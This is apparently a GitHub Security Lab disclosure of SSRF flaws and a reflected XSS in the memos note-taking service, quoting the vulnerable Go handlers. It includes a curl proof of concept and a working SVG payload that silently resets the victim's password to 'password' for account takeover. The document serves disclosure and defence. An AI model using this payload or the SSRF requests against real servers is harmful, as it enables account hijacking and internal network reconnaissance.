Coordinated Disclosure Timeline
- 2023-07-26: Report sent to maintainer via Private Vulnerability Reporting.
- 2023-10-06: Vulnerabilities Fixed
Summary
Multiple SSRF vulnerabilities exist in the memos API service that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
Product
memos
Tested Version
Details
Issue 1: SSRF in /o/get/httpmeta
(GHSL-2023-154
)
An SSRF vulnerability exists at the /o/get/httpmeta
that allows unauthenticated users to enumerate the internal network and receive limited html values in json form.
func (*APIV1Service) registerGetterPublicRoutes(g *echo.Group) {
g.GET("/get/httpmeta", func(c echo.Context) error {
urlStr := c.QueryParam("url") <--- user input
if urlStr == "" {
return echo.NewHTTPError(http.StatusBadRequest, "Missing website url")
}
if _, err := url.Parse(urlStr); err != nil {
return echo.NewHTTPError(http.StatusBadRequest, "Wrong url").SetInternal(err)
}
htmlMeta, err := getter.GetHTMLMeta(urlStr) <--- HTTP request using user input
if err != nil {
return echo.NewHTTPError(http.StatusNotAcceptable, fmt.Sprintf("Failed to get website meta with url: %s", urlStr)).SetInternal(err)
}
return c.JSON(http.StatusOK, htmlMeta)
})
Issue 2: SSRF in /o/get/image
(GHSL-2023-155
)
An SSRF vulnerability exists at the /o/get/image
that allows unauthenticated users to enumerate the internal network and retrieve images.
The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
g.GET("/get/image", func(c echo.Context) error {
urlStr := c.QueryParam("url") <-- user input
if urlStr == "" {
return echo.NewHTTPError(http.StatusBadRequest, "Missing image url")
}
if _, err := url.Parse(urlStr); err != nil {
return echo.NewHTTPError(http.StatusBadRequest, "Wrong url").SetInternal(err)
}
image, err := getter.GetImage(urlStr) <-- html from user supplied URL
if err != nil {
return echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Failed to get image url: %s", urlStr)).SetInternal(err)
}
c.Response().Writer.WriteHeader(http.StatusOK)
c.Response().Writer.Header().Set("Content-Type", image.Mediatype)
c.Response().Writer.Header().Set(echo.HeaderCacheControl, "max-age=31536000, immutable")
if _, err := c.Response().Writer.Write(image.Blob); err != nil { <-- html written to response, causing XSS
return echo.NewHTTPError(http.StatusInternalServerError, "Failed to write image blob").SetInternal(err)
}
return nil
})
Issue 3: SSRF in /api/resource
(GHSL-2023-156
)
An SSRF vulnerability exists at the /api/resource
that allows authenticated users to enumerate the internal network.
func (s *APIV1Service) registerResourceRoutes(g *echo.Group) {
g.POST("/resource", func(c echo.Context) error {
...
if request.ExternalLink != "" {
// Only allow those external links scheme with http/https
linkURL, err := url.Parse(request.ExternalLink)
if err != nil {
return echo.NewHTTPError(http.StatusBadRequest, "Invalid external link").SetInternal(err)
}
if linkURL.Scheme != "http" && linkURL.Scheme != "https" {
return echo.NewHTTPError(http.StatusBadRequest, "Invalid external link scheme")
}
if request.DownloadToLocal {
resp, err := http.Get(linkURL.String())
Impact
SSRF issues may lead to Information Disclosure
about the internet network.
XSS issue may lead to Privilege Escalation
as it would allow anyone to login as the administrator account.
Resources
SSRF Proof Of Concept:
To access the unauthenticated endpoints:
curl http://0.0.0.0:5230/o/get/<endpoint>?url=<full url>
To access authenticated endpoint: Log into memos -> Resources -> Create Resource -> Select External Link and Put in the Full URL to Enumerate. Ensure in the request that downloadToLocal is has value ‘true’.
XSS Proof of Concept:
An attacker will host the following SVG file. When a user (administrator or normal) clicks on the following link http://0.0.0.0:5230/o/get/image?url=<attacker controlled svg file url>
, the user’s account password will be changed to password
and the attacker can login.
<?xml version=”1.0” standalone=”no”?>
<!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd”>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
var xmlhttp = new XMLHttpRequest();
<!-- grab the current id and optionally username in json form -->
xmlhttp.open("GET", "/api/user/me");
xmlhttp.send();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == XMLHttpRequest.DONE) {
var id = JSON.parse(xmlhttp.responseText).data['id'];
var xmlhttp2 = new XMLHttpRequest();
<!-- update the password using the /api/user/id endpoint with the given id -->
xmlhttp2.open("PATCH", `/api/user/${id}`)
xmlhttp2.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp2.send(JSON.stringify({ "id": id, "password": "password" }));
}
}
</script>
</svg>
CVE
- GHSL-2023-154 has CVE-2024-29028
- GHSL-2023-155 has CVE-2024-29029
- GHSL-2023-156 has CVE-2024-29030
Credit
These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings) with the help of CodeQL.
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-154
, GHSL-2023-155
, or GHSL-2023-156
in any communication regarding these issues.